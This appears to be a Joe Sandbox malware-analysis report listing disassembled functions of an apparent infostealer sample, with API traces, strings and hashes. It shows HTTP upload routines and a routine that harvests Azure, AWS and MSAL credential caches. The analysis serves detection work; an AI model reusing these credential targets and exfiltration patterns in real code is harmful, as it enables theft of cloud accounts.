Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 117fb8522f797b90a8de9bf53af7bcd302b2d15e87de664398eef77ed47e074f
Instruction ID: 39216a478210e6dbc83d92199b840f5c85ef397e055d3f487192f8b257407370
Opcode Fuzzy Hash: 117fb8522f797b90a8de9bf53af7bcd302b2d15e87de664398eef77ed47e074f
Instruction Fuzzy Hash: 1FA182B55002409FD368EF68FE88A6637F9FF6E301708452AE605C3225D739A44BFB56

Function 002E5100 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

Part of subcall function 002E47B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 002E47EA
Part of subcall function 002E47B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 002E4801
Part of subcall function 002E47B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 002E4818
Part of subcall function 002E47B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 002E4839
Part of subcall function 002E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 002E4849

lstrlenA.KERNEL32(00000000), ref: 002E5193

Part of subcall function 002F8EA0: CryptBinaryToStringA.CRYPT32(00000000,002E5184,40000001,00000000,00000000,?,002E5184), ref: 002F8EC0

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 002E5207
StrCmpCA.SHLWAPI(?,0165D4E0), ref: 002E5225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 002E5340
HttpOpenRequestA.WININET(00000000,0165D530,?,016613B8,00000000,00000000,00400100,00000000), ref: 002E53A4

Part of subcall function 002FA9B0: lstrlenA.KERNEL32(?,00301110,?,00000000,00300AEF), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,0), ref: 002FA905

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcatA.KERNEL32(00000000), ref: 002FA982

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,0165D5C0,00000000,?,01654A68,00000000,?,003019DC,00000000,?,002F51CF), ref: 002E5737
lstrlenA.KERNEL32(00000000), ref: 002E574B
GetProcessHeap.KERNEL32(00000000,?), ref: 002E575C
RtlAllocateHeap.NTDLL(00000000), ref: 002E5763
lstrlenA.KERNEL32(00000000), ref: 002E5778
memcpy.MSVCRT(?,00000000,00000000), ref: 002E578F
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 002E57A9
memcpy.MSVCRT(?), ref: 002E57B6
lstrlenA.KERNEL32(00000000), ref: 002E57C8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 002E57E1
memcpy.MSVCRT(?), ref: 002E57F1
lstrlenA.KERNEL32(00000000,?,?), ref: 002E580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 002E5822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 002E584D
InternetCloseHandle.WININET(00000000), ref: 002E58B1
InternetCloseHandle.WININET(00000000), ref: 002E58BE
InternetCloseHandle.WININET(00000000), ref: 002E58C8

Strings

------, xrefs: 002E563B
------, xrefs: 002E53B7
", xrefs: 002E5482
", xrefs: 002E5706
------, xrefs: 002E54F9
--, xrefs: 002E5280
", xrefs: 002E55C4
------, xrefs: 002E5297

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 2335077847-2774362122
Opcode ID: 8bb8ffa6642c2580c96a5a22b77fa7deaf3dce2c417a760e832afa901ef311db
Instruction ID: ebd0063791beca504b3facda5b91c73ef62ba2e2dfdb4fd0be07cc7121d0b0e2
Opcode Fuzzy Hash: 8bb8ffa6642c2580c96a5a22b77fa7deaf3dce2c417a760e832afa901ef311db
Instruction Fuzzy Hash: 1C32DDB193111CABDB15EBA0DC96FFEB378BF54780F404169B20A62091DF706A59CF62

Function 002E5960 Relevance: 42.5, APIs: 19, Strings: 5, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

Part of subcall function 002E47B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 002E47EA
Part of subcall function 002E47B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 002E4801
Part of subcall function 002E47B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 002E4818
Part of subcall function 002E47B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 002E4839
Part of subcall function 002E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 002E4849

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 002E59F8
StrCmpCA.SHLWAPI(?,0165D4E0), ref: 002E5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 002E5B93
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,01661D88,00000000,?,01654A68,00000000,?,00301A1C), ref: 002E5E71
lstrlenA.KERNEL32(00000000), ref: 002E5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 002E5E93
HeapAlloc.KERNEL32(00000000), ref: 002E5E9A
lstrlenA.KERNEL32(00000000), ref: 002E5EAF
memcpy.MSVCRT(?,00000000,00000000), ref: 002E5EC6
lstrlenA.KERNEL32(00000000), ref: 002E5ED8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 002E5EF1
memcpy.MSVCRT(?), ref: 002E5EFE
lstrlenA.KERNEL32(00000000,?,?), ref: 002E5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 002E5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 002E5F4C
InternetCloseHandle.WININET(00000000), ref: 002E5FB0
InternetCloseHandle.WININET(00000000), ref: 002E5FBD
HttpOpenRequestA.WININET(00000000,0165D530,?,016613B8,00000000,00000000,00400100,00000000), ref: 002E5BF8

Part of subcall function 002FA9B0: lstrlenA.KERNEL32(?,00301110,?,00000000,00300AEF), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,0), ref: 002FA905

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcatA.KERNEL32(00000000), ref: 002FA982

InternetCloseHandle.WININET(00000000), ref: 002E5FC7

Strings

------, xrefs: 002E5C0B
", xrefs: 002E5CD5
------, xrefs: 002E5D4C
------, xrefs: 002E5A96
", xrefs: 002E5E16

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 1406981993-2180234286
Opcode ID: 88ff83c25d9ead8a66e2d1fa4e0b49315d9ef9e7cccefddb2e86cc1bc2792c6a
Instruction ID: 01b433f6c3bbf851cb02a0fe10ced81fe4910a88db49b9ffe4ddbc4b4be719c3
Opcode Fuzzy Hash: 88ff83c25d9ead8a66e2d1fa4e0b49315d9ef9e7cccefddb2e86cc1bc2792c6a
Instruction Fuzzy Hash: D512BDB193011CABDB15EBA0DC96FEEB378BF14780F504169F20A62091DF706A5ACF65

Function 002EA790 Relevance: 40.8, APIs: 22, Strings: 1, Instructions: 538
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002FAA70: StrCmpCA.SHLWAPI(00000000,00301470,002ED1A2,00301470,00000000), ref: 002FAA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 002EAAC8
RtlAllocateHeap.NTDLL(00000000), ref: 002EAACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 002EABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 002EA8B0

Part of subcall function 002FA820: lstrlenA.KERNEL32(00000000,?,?,002F5B54,00300ADB,00300ADA,?,?,002F6B16,00000000,?,016503A0,?,0030110C,?,00000000), ref: 002FA82B
Part of subcall function 002FA820: lstrcpy.KERNEL32(0,00000000), ref: 002FA885

Part of subcall function 002FA9B0: lstrlenA.KERNEL32(?,00301110,?,00000000,00300AEF), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,0), ref: 002FA905

lstrcatA.KERNEL32(?,00000000,00000000,0165D690,00301318,0165D690,00301314), ref: 002EACEB
lstrcatA.KERNEL32(?,00301320), ref: 002EACFA
lstrcatA.KERNEL32(?,00000000), ref: 002EAD0D
lstrcatA.KERNEL32(?,00301324), ref: 002EAD1C
lstrcatA.KERNEL32(?,00000000), ref: 002EAD2F
lstrcatA.KERNEL32(?,00301328), ref: 002EAD3E
lstrcatA.KERNEL32(?,00000000), ref: 002EAD51
lstrcatA.KERNEL32(?,0030132C), ref: 002EAD60
lstrcatA.KERNEL32(?,00000000), ref: 002EAD73
lstrcatA.KERNEL32(?,00301330), ref: 002EAD82
lstrcatA.KERNEL32(?,00000000), ref: 002EAD95
lstrcatA.KERNEL32(?,00301334), ref: 002EADA4
lstrcatA.KERNEL32(?,00000000), ref: 002EADB7
lstrlenA.KERNEL32(?), ref: 002EAE0D
lstrlenA.KERNEL32(?), ref: 002EAE1C
memset.MSVCRT ref: 002EAE6B

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

Part of subcall function 002E9E10: memcmp.MSVCRT(?,v20,00000003), ref: 002E9E2D

DeleteFileA.KERNEL32(00000000), ref: 002EAE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 002EABD4

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessmemcmpmemset
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4068497927-2709115261
Opcode ID: 4e65552b05b0f15db03c7adb3f73567f448991d5a0c98c601d87a32fbf70e768
Instruction ID: 1028a4ee18bc6587e422176e7bfdfea2af82da35a39267de0b51a472e0ea3f66
Opcode Fuzzy Hash: 4e65552b05b0f15db03c7adb3f73567f448991d5a0c98c601d87a32fbf70e768
Instruction Fuzzy Hash: 8A1221B19201099BCB14FBA0DD96DFEB378AF14740F504168F60BA6091DF746E2ADF62

Function 002F4D70 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 119
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 002F4D87

Part of subcall function 002F8DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 002F8E0B

lstrcatA.KERNEL32(?,00000000), ref: 002F4DB0
lstrcatA.KERNEL32(?,\.azure\), ref: 002F4DCD

Part of subcall function 002F4910: wsprintfA.USER32 ref: 002F492C
Part of subcall function 002F4910: FindFirstFileA.KERNEL32(?,?), ref: 002F4943

memset.MSVCRT ref: 002F4E13
lstrcatA.KERNEL32(?,00000000), ref: 002F4E3C
lstrcatA.KERNEL32(?,\.aws\), ref: 002F4E59

Part of subcall function 002F4910: StrCmpCA.SHLWAPI(?,00300FDC), ref: 002F4971
Part of subcall function 002F4910: StrCmpCA.SHLWAPI(?,00300FE0), ref: 002F4987
Part of subcall function 002F4910: FindNextFileA.KERNEL32(000000FF,?), ref: 002F4B7D
Part of subcall function 002F4910: FindClose.KERNEL32(000000FF), ref: 002F4B92

memset.MSVCRT ref: 002F4E9F
lstrcatA.KERNEL32(?,00000000), ref: 002F4EC8
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 002F4EE5

Part of subcall function 002F4910: wsprintfA.USER32 ref: 002F49B0
Part of subcall function 002F4910: StrCmpCA.SHLWAPI(?,003008D2), ref: 002F49C5
Part of subcall function 002F4910: wsprintfA.USER32 ref: 002F49E2
Part of subcall function 002F4910: PathMatchSpecA.SHLWAPI(?,?), ref: 002F4A1E
Part of subcall function 002F4910: lstrcatA.KERNEL32(?,0165D4C0,?,000003E8), ref: 002F4A4A
Part of subcall function 002F4910: lstrcatA.KERNEL32(?,00300FF8), ref: 002F4A5C
Part of subcall function 002F4910: lstrcatA.KERNEL32(?,?), ref: 002F4A70
Part of subcall function 002F4910: lstrcatA.KERNEL32(?,00300FFC), ref: 002F4A82
Part of subcall function 002F4910: lstrcatA.KERNEL32(?,?), ref: 002F4A96
Part of subcall function 002F4910: CopyFileA.KERNEL32(?,?,00000001), ref: 002F4AAC
Part of subcall function 002F4910: DeleteFileA.KERNEL32(?), ref: 002F4B31

memset.MSVCRT ref: 002F4F2B

Strings

*.*, xrefs: 002F4E64
Azure\.azure, xrefs: 002F4DD3
*.*, xrefs: 002F4DD8
\.aws\, xrefs: 002F4E4D
\.azure\, xrefs: 002F4DC1
za/, xrefs: 002F4DF1, 002F4E7D, 002F4F09, 002F4F34, 002F4DF4, 002F4E80, 002F4F0C
msal.cache, xrefs: 002F4EF0
Azure\.aws, xrefs: 002F4E5F
Azure\.IdentityService, xrefs: 002F4EEB
\.IdentityService\, xrefs: 002F4ED9

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache$za/
API String ID: 4017274736-2740149523
Opcode ID: 1296e80ace1f32e29821344f9d285a9c990a4618e989773e1c728ca0fbdf318b
Instruction ID: 6b0329cca910637f75c282771d841b4be2440eac8203d044da24101f61272c00
Opcode Fuzzy Hash: 1296e80ace1f32e29821344f9d285a9c990a4618e989773e1c728ca0fbdf318b
Instruction Fuzzy Hash: 7641B3B995020867CB25F770EC47FED7238AB64740F4044A4F68A660C1EEF497E98F92

Function 002ECEF0 Relevance: 31.9, APIs: 21, Instructions: 374stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

Part of subcall function 002FA9B0: lstrlenA.KERNEL32(?,00301110,?,00000000,00300AEF), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,0), ref: 002FA905

Part of subcall function 002F8B60: GetSystemTime.KERNEL32(?,01654A98,003005AE,?,?,?,?,?,?,?,?,?,002E4963,?,00000014), ref: 002F8B86

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcatA.KERNEL32(00000000), ref: 002FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 002ECF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 002ED0C7
RtlAllocateHeap.NTDLL(00000000), ref: 002ED0CE
lstrcatA.KERNEL32(?,00000000,0165D690,00301474,0165D690,00301470,00000000), ref: 002ED208
lstrcatA.KERNEL32(?,00301478), ref: 002ED217
lstrcatA.KERNEL32(?,00000000), ref: 002ED22A
lstrcatA.KERNEL32(?,0030147C), ref: 002ED239
lstrcatA.KERNEL32(?,00000000), ref: 002ED24C
lstrcatA.KERNEL32(?,00301480), ref: 002ED25B
lstrcatA.KERNEL32(?,00000000), ref: 002ED26E
lstrcatA.KERNEL32(?,00301484), ref: 002ED27D
lstrcatA.KERNEL32(?,00000000), ref: 002ED290
lstrcatA.KERNEL32(?,00301488), ref: 002ED29F
lstrcatA.KERNEL32(?,00000000), ref: 002ED2B2
lstrcatA.KERNEL32(?,0030148C), ref: 002ED2C1
lstrcatA.KERNEL32(?,00000000), ref: 002ED2D4
lstrcatA.KERNEL32(?,00301490), ref: 002ED2E3

Part of subcall function 002FA820: lstrlenA.KERNEL32(00000000,?,?,002F5B54,00300ADB,00300ADA,?,?,002F6B16,00000000,?,016503A0,?,0030110C,?,00000000), ref: 002FA82B
Part of subcall function 002FA820: lstrcpy.KERNEL32(0,00000000), ref: 002FA885

lstrlenA.KERNEL32(?), ref: 002ED32A
lstrlenA.KERNEL32(?), ref: 002ED339
memset.MSVCRT ref: 002ED388

Part of subcall function 002FAA70: StrCmpCA.SHLWAPI(00000000,00301470,002ED1A2,00301470,00000000), ref: 002FAA8F

DeleteFileA.KERNEL32(00000000), ref: 002ED3B4

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
